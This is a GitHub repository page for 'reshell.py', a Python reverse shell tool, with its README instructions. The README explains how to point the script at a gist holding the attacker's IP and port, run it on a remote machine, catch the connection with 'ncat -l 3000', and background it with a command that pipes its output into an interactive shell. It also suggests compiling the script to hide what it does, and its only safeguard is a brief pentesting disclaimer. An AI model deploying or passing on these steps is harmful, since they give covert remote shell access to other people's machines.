Skip to content

sectasy0/reshell.py

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

1 Commit
Β 
Β 
Β 
Β 

Repository files navigation

reshell.py

Python version

A python reverse shell

Configuration

  • Create a github gist with the ip address and the port the script will connect to.
  • open reshell.py go to line 44 and replace url to your gist.
  • run this script on remote machine.

Connection to shell

$ ncat -l 3000

 β–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆ  β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–‘ β–ˆβ–ˆ β–“β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–“     β–ˆβ–ˆβ–“
β–“β–ˆβ–ˆ β–’ β–ˆβ–ˆβ–’β–“β–ˆ   β–€ β–’β–ˆβ–ˆ    β–’ β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’β–“β–ˆ   β–€ β–“β–ˆβ–ˆβ–’    β–“β–ˆβ–ˆβ–’
β–“β–ˆβ–ˆ β–‘β–„β–ˆ β–’β–’β–ˆβ–ˆβ–ˆ   β–‘ β–“β–ˆβ–ˆβ–„   β–’β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆβ–ˆ   β–’β–ˆβ–ˆβ–‘    β–’β–ˆβ–ˆβ–‘
β–’β–ˆβ–ˆβ–€β–€β–ˆβ–„  β–’β–“β–ˆ  β–„   β–’   β–ˆβ–ˆβ–’β–‘β–“β–ˆ β–‘β–ˆβ–ˆ β–’β–“β–ˆ  β–„ β–’β–ˆβ–ˆβ–‘    β–’β–ˆβ–ˆβ–‘
β–‘β–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–’β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–’β–‘β–“β–ˆβ–’β–‘β–ˆβ–ˆβ–“β–‘β–’β–ˆβ–ˆβ–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–’
β–‘ β–’β–“ β–‘β–’β–“β–‘β–‘β–‘ β–’β–‘ β–‘β–’ β–’β–“β–’ β–’ β–‘ β–’ β–‘β–‘β–’β–‘β–’β–‘β–‘ β–’β–‘ β–‘β–‘ β–’β–‘β–“  β–‘β–‘ β–’β–‘β–“  β–‘
β–‘β–’ β–‘ β–’β–‘ β–‘ β–‘  β–‘β–‘ β–‘β–’  β–‘ β–‘ β–’ β–‘β–’β–‘ β–‘ β–‘ β–‘  β–‘β–‘ β–‘ β–’  β–‘β–‘ β–‘ β–’  β–‘
β–‘β–‘   β–‘    β–‘   β–‘  β–‘  β–‘   β–‘  β–‘β–‘ β–‘   β–‘     β–‘ β–‘     β–‘ β–‘
β–‘        β–‘  β–‘      β–‘   β–‘  β–‘  β–‘   β–‘  β–‘    β–‘  β–‘    β–‘  β–‘

sectasy@fs:~$

Running as a background process

sh -c "./reshell.py | sh -i &" && exit

Other information

  1. You can also compile this script to make it unreadable for regular user or smth.
  2. Don't be a dick. This is meant to be used for pentesting or helping coworkers understand why they should always lock their computers. Please don't use this for anything malicious.

About

A python reverse shell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages